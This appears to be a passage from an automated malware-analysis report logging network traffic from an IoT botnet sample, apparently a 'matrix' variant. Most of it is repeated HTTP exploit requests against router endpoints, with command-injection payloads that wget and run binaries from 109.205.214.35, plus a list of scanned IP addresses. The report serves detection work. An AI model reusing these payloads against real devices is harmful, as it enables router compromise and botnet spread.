Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.215.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.238.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.44.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.98.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.204.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.131.110
Source: unknown	TCP traffic detected without corresponding DNS query: 197.69.251.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.239.225.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.134.109
Source: unknown	TCP traffic detected without corresponding DNS query: 197.229.191.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.238.104
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.211.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.134.181.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.183.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.255.68
Source: unknown	TCP traffic detected without corresponding DNS query: 197.245.197.121
Source: unknown	TCP traffic detected without corresponding DNS query: 197.202.114.91
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.33.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.145.235.108
Source: unknown	TCP traffic detected without corresponding DNS query: 197.156.213.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.38.149.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.40.19
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.63.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.203.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.248.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.151.93.209
Source: unknown	TCP traffic detected without corresponding DNS query: 197.74.157.148
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.250.24
Source: unknown	TCP traffic detected without corresponding DNS query: 197.109.151.42
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.211.187
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.96.148
Source: unknown	TCP traffic detected without corresponding DNS query: 197.101.36.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.58.108.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.138.123.255
Source: unknown	TCP traffic detected without corresponding DNS query: 197.208.26.231
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.162.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.104.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.183.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.59.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.44.92.73
Source: unknown	TCP traffic detected without corresponding DNS query: 197.239.59.178
Source: unknown	TCP traffic detected without corresponding DNS query: 197.36.248.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.45.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.160.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.224.60.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.249.56
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.140.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.209.49
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.201.11

Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
